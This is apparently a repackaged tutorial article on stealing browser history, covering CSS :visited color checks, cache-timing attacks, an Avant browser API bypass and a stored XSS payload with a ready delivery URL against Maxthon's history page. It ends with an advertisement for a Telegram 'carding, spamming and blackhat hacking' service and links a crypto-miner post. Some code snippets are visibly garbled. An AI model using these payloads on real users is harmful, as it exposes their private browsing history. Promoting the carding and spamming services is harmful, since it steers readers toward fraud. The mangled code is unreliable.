In this article we will learn about Exploiting Browser History.

Overview[Exploiting Browser History]

Browser history attacks leak sensitive information related to various origins. They allow you to determine which origin the user visited. In an older browser, a browser history attack usually only involved checking the color (blue) of links written to a page. You will briefly explore the use of CSS colors, but today’s latest browsers have been patched so you won’t find this type of attack. This article describes the attack methods that are currently most effective for revealing browser history information across a variety of browsers. Several examples of lesser-known browsers vulnerable to these history-stealing vulnerabilities, such as Avant and Maxthon browsers, will also be explored.

Using CSS colors

In previous days, stealing browser history using CSS information was very easy and possible. This attack was performed by exploiting the visited CSS selector. The technique was very simple but very effective. Take the following code for example:

[simple]
link
[/simple]

A CSS action selector can be used to check if a target has visited a previous link and therefore would be present in the browser history, similar to:

1:

[simple]
visited
{
background: url(/httpsecure.org?site=securityflaw);
}
[/simple]

The above code uses a background selector, but you can use any selector where a URI can be specified. If httpsecure.org is present in the browser history, a GET request will be sent to httpsecure.org?site=securityflaw.

Jeremiah Grossman found a similar problem using a technique in 2006 that also relied on checking the color of the link element. In most browsers, the default behavior when a user has already visited a link is to set the link text color from blue to purple. On the other hand, if the link was not visited, it was set to the default color (blue). In Grossman’s original Proof of Concept, a link visited by a user style was overridden with a custom style/color (such as pink). The script was then used to dynamically generate links on the page, potentially hidden from the user.

These were compared to the previously overwritten reference of pink color. If a match were found, the attacker would know that the page was in the browser’s history.

Consider the following example:

[html]

click here

[/html]

If the link has already been visited by the user and the browser is vulnerable to this issue, the output in the console log will be rgb(255,20,147), which corresponds to the pink color overridden in the CSS. If you run the aforementioned snippet in Firefox (which is already patched against this attack), it always returns rgb(0, 0, 238). Nowadays, most modern browsers have fixed this behavior. For example, Firefox fixed this technique in 2010.

Related article:Silent Crypto Miner v3.1.0 ETH ETC XMR RTM 2023

Using cache timing

Felten and Schneider wrote the first white papers on the topic of cache timing attacks in 2000. The paper titled “Timing Attacks on Web Privacy” focused mainly on measuring the time it takes to access a resource with or without browser cache. Using this information, it was quite possible to infer whether the resource had already been loaded (and cached). A limitation of this attack was that querying the browser cache during the initial test also tainted it.

Michal Zalewski found another way that was completely non-destructive to extract browser history using the previously mentioned cache timing technique. Zalewski’s way is to load resources into iframes, catch same-origin policy violations, and prevent the cache from changing. iframes are great, just because the same origin policy is enforced and you can prevent the iframe from fully loading the resource, thus preventing it from being edited into the local cache.

The cache remains intact because short timing is used when loading and unloading resources. As soon as it can be determined that a particular resource is missing a cache, the iframe will stop loading. This behavior allows the same resource to be tested again at a later stage.

The most effective resources for targeting with this technique are JavaScript or CSS, the reason being that they are often cached by the browser and are always loaded when the target application is browsed. These resources will be loaded in iframes and should not include any frame skipping logic such as X-Frame-Options (other than Allow).

Mansour Behabadi found another technique that relied on image loading instead. This technique currently only works in WebKit and Gecko-based browsers. When your browser caches an image, it usually takes less than 10 milliseconds to retrieve it from the cache. If the image is not found in the browser cache, loading will start from the server and time

depends on image size and connection speed. You can use this timing information to check if the target’s browser has visited the website before.

Note: You can read the full source code for this technique at https://browserhacker.com or the Wiley website at
www.wiley.com/go/browserhackershandbook where the original three PoCs have been modified and merged as one code snippet.

Just remember that another limitation of this technique is that the resource you want to find, such as http://httpsecure.org/images/arrow.png, may have been temporarily or permanently moved by the time you read this article. This is already the case with some of the sources used in Zalewski’s original PoC. This is because both of these techniques rely on specific and short timing when reading from the cache, and both are very sensitive to machine performance.

The same is true for the second technique, where the timing is “hard-coded” to 10 milliseconds. For example, if you are playing an HD video on Vimeo while your computer is using CPU and IO intensively, the accuracy of the results may decrease.

Using the browser API

Avant is a lesser known browser that can switch between Trident, Gecko and WebKit rendering engines. Roberto Suggi Liverani found an attack to bypass the same origin policy using specific browser API calls in Avant browser before 2012 (build 28).

Let’s look at the following code that demonstrates this problem:

[simple]
var av_if = document.createElement(“iframe”); av_if.setAttribute(‘src’, “browser:home”); av_if.setAttribute(‘name’,’av_if’); av_if.setAttribute(‘width’,’0′); av_if.setAttribute(‘height’,’0′); av_if.setAttribute(‘scroll’,’no’); document.body.appendChild(av_if);
var vstr = {value: “”};
//This works if the Firefox renderer window[‘av_if’].navigator.AFRunCommand(60003, vstr); alert(vstr.value);
[/simple]

The code snippet mentioned above loads the browser:home privileged address into the iframe and then executes the AFRunCommand() function from its own navigator object. This functionality is an undocumented and proprietary API that Avant added to the DOM.

Liverani tried to brute force some integer values ​​to be passed to the function as the first parameter. He found that by passing the value 60003 and a JSON object to the AFRunCommand() function, he was able to retrieve the victim’s entire browser history. This is clearly a same-origin policy circumvention technique because code running on an origin such as http://httpsecure.org must not be able to read the contents of a higher zone such as browser:home as specified in this code. Executing the previous code snippet would result in a popup containing the browser history.

This problem was found in Maxthon 3.4.5 (build 2000). Maxthon is another lesser known web browser. Roberto Suggi Liverani discovered that the content rendered on the about:history page does not have effective output escaping. This can be exploitable. If an attacker forces a victim to open a malicious link, this injection will remain on the history page until the history is cleared:

http://example.com/issue/hacked.html#” onload=’prompt(1)'<!—

This code is executed every time the victim checks the browser history. JavaScript also runs in the privileged zone. The about:history page happens to be mapped to Maxthon’s own resource at mx://res/history/index.htm. Placing code in this context will allow you to steal all of the history content.

[simple]
wonder:
links = document.getElementById(‘history-list’)
.getElementsByTagName(‘and’);
result = “”;
for(var i=0; i<links.length; i++) { if(links[i].target == “_blank”){ result += links[i].href+”n”;
}
}
alert ( result );
[/simple]

This above payload can be packaged and delivered using the following link:

[simple]
http://example.com/issue/hacked.html#” onload=’links=document.
getElementById(“list-history”).getElementsByTagName(“a”);
result=””;for(i=0;i<links.length;i++){if(links[i].target==”_blank”)
{result+=links[i].href+”n”;}}prompt(result);'<!–
[/simple]

A security vulnerability between scripting content is saved. So after the first time the malicious content is loaded into the history page, the code will be executed every time the user revisits their history.

In the real case of running this attack, it would be necessary to replace the prompt() function with one of the hacking techniques. Browser history can be sent to the server.

All About Carding, Spamming , And Blackhat hacking contact now on telegram : @blackhatpakistan_Admin

Blackhat Pakistan:

Subscribe to our Youtube Channel Blackhat Pakistan. check our latest spamming course 2023 Learn from BLACKHATPAKISTAN and get master

Reference https://browserhacker.com/